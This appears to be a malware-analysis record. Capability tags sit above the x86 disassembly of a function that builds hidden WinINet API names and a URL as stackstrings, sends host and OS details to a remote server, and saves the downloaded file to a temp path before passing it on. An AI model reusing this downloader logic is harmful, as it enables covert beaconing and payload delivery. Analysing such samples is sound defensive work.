Function at 0x10004510
Capabilities:
Contain obfuscated stackstrings
Get common file path
Write file on windows

Disassembly:
sub esp, 0x848
push ebx
push ebp
xor ebp, ebp
mov cl, 0x6e
mov al, 0x65
mov dl, 0x74
mov bl, 0x64
push esi
push edi
mov dword [esp + 0x14], ebp
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x2e
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], cl
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0
mov byte [esp + 0x2c], 0x49
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0x72
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x4f
mov byte [esp + 0x35], 0x70
mov byte [esp + 0x36], al
mov byte [esp + 0x37], cl
mov byte [esp + 0x38], 0x41
mov byte [esp + 0x39], 0
mov byte [esp + 0x3c], 0x49
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3e], dl
mov byte [esp + 0x3f], al
mov byte [esp + 0x40], 0x72
mov byte [esp + 0x41], cl
mov byte [esp + 0x42], al
mov byte [esp + 0x43], dl
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x70
mov byte [esp + 0x46], al
mov byte [esp + 0x47], cl
mov byte [esp + 0x48], 0x55
mov byte [esp + 0x49], 0x72
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x41
mov byte [esp + 0x4c], 0
mov byte [esp + 0x64], 0x49
mov byte [esp + 0x65], cl
mov byte [esp + 0x66], dl
mov byte [esp + 0x67], al
mov byte [esp + 0x68], 0x72
mov byte [esp + 0x69], cl
mov byte [esp + 0x6a], al
mov byte [esp + 0x6b], dl
mov byte [esp + 0x6c], 0x43
mov byte [esp + 0x6d], 0x6c
mov byte [esp + 0x6e], 0x6f
mov byte [esp + 0x6f], 0x73
mov byte [esp + 0x70], al
mov byte [esp + 0x71], 0x48
mov byte [esp + 0x72], 0x61
mov byte [esp + 0x73], cl
mov byte [esp + 0x74], bl
mov byte [esp + 0x75], 0x6c
mov byte [esp + 0x76], al
mov byte [esp + 0x77], 0
mov byte [esp + 0x53], al
mov byte [esp + 0x56], al
mov byte [esp + 0x59], al
mov byte [esp + 0x5f], al
mov al, 0x77
mov byte [esp + 0x51], cl
mov byte [esp + 0x7f], al
mov byte [esp + 0x80], al
mov byte [esp + 0x81], al
mov byte [esp + 0x55], cl
mov al, 0x25
mov cl, 0x2f
mov byte [esp + 0x90], al
mov byte [esp + 0x96], al
mov byte [esp + 0x9c], al
mov byte [esp + 0x9f], al
mov byte [esp + 0xa4], al
mov byte [esp + 0x7d], cl
mov byte [esp + 0x7e], cl
mov byte [esp + 0x8c], cl
lea eax, [esp + 0x20]
mov cl, 0x3d
push eax
mov byte [esp + 0x54], 0x49
mov byte [esp + 0x56], dl
mov byte [esp + 0x58], 0x72
mov byte [esp + 0x5b], dl
mov byte [esp + 0x5c], 0x52
mov byte [esp + 0x5e], 0x61
mov byte [esp + 0x5f], bl
mov byte [esp + 0x60], 0x46
mov byte [esp + 0x61], 0x69
mov byte [esp + 0x62], 0x6c
mov byte [esp + 0x64], 0
mov byte [esp + 0x7c], 0x68
mov byte [esp + 0x7d], dl
mov byte [esp + 0x7e], dl
mov byte [esp + 0x7f], 0x70
mov byte [esp + 0x80], 0x3a
mov byte [esp + 0x86], 0x2e
mov byte [esp + 0x87], 0x62
mov byte [esp + 0x88], 0x61
mov byte [esp + 0x89], 0x69
mov byte [esp + 0x8a], bl
mov byte [esp + 0x8b], 0x75
mov byte [esp + 0x8c], 0x2e
mov byte [esp + 0x8d], 0x63
mov byte [esp + 0x8e], 0x6f
mov byte [esp + 0x8f], 0x6d
mov byte [esp + 0x91], 0x69
mov byte [esp + 0x92], bl
mov byte [esp + 0x93], cl
mov byte [esp + 0x95], 0x73
mov byte [esp + 0x96], 0x26
mov byte [esp + 0x97], 0x61
mov byte [esp + 0x98], bl
mov byte [esp + 0x99], cl
mov byte [esp + 0x9b], bl
mov byte [esp + 0x9c], 0x26
mov byte [esp + 0x9d], 0x6f
mov byte [esp + 0x9e], 0x73
mov byte [esp + 0x9f], cl
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x2e
mov byte [esp + 0xa4], bl
mov byte [esp + 0xa5], 0x26
mov byte [esp + 0xa6], dl
mov byte [esp + 0xa7], cl
mov byte [esp + 0xa9], bl
mov byte [esp + 0xaa], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebp
je 0x10004a54
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x2c]
push ecx
push esi
call edi
lea edx, [esp + 0x3c]
mov ebx, eax
push edx
push esi
call edi
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x64]
push eax
push esi
call edi
lea ecx, [esp + 0x50]
mov dword [esp + 0x10], eax
push ecx
push esi
call edi
test ebx, ebx
mov esi, eax
je 0x10004a54
mov eax, dword [esp + 0xa8]
test eax, eax
je 0x10004a54
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10004a54
test esi, esi
je 0x10004a54
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0xb0]
lea edx, [esp + 0xb0]
rep stosd dword es:[edi], eax
mov ecx, 0x27
lea edi, [esp + 0xb0]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edx
mov dword [esp + 0xb4], 0x9c
call edi
test eax, eax
jne 0x100048ce
lea eax, [esp + 0xb0]
mov dword [esp + 0xb0], 0x94
push eax
call edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14c]
mov edx, dword [esp + 0xb4]
rep stosd dword es:[edi], eax
mov eax, dword [0x1000a038]
mov ecx, eax
inc eax
push ecx
mov ecx, dword [esp + 0xbc]
mov dword [0x1000a038], eax
mov eax, dword [esp + 0x860]
push ecx
push edx
push 0x20
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x160]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x474]
add esp, 0x1c
rep stosd dword es:[edi], eax
lea eax, [esp + 0x354]
mov dword [esp + 0xac], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x250]
lea edx, [esp + 0x354]
push ecx
push 0
push 0x100092f0
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
lea eax, [esp + 0x24]
push 0
push eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x10004a45
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x158]
push 0
push ecx
push ebx
call dword [esp + 0xc0]
mov edi, eax
test edi, edi
je 0x10004a0e
lea edx, [esp + 0x250]
push 0x100092ec
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x100049c7
push edi
call dword [esp + 0x14]
jmp 0x10004a09
lea eax, [esp + 0xac]
lea ecx, [esp + 0x458]
push eax
push 0x400
push ecx
push edi
call esi
mov eax, dword [esp + 0xac]
test eax, eax
je 0x10004a01
push ebp
push eax
lea edx, [esp + 0x460]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
jmp 0x100049c7
mov dword [esp + 0x14], 1
push edi
call dword [esp + 0x14]
push ebx
call dword [esp + 0x14]
test ebp, ebp
je 0x10004a21
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10004a45
mov eax, dword [esp + 0x860]
lea ecx, [esp + 0x250]
push eax
push ecx
call fcn.10004280
add esp, 8
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x848
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x848
ret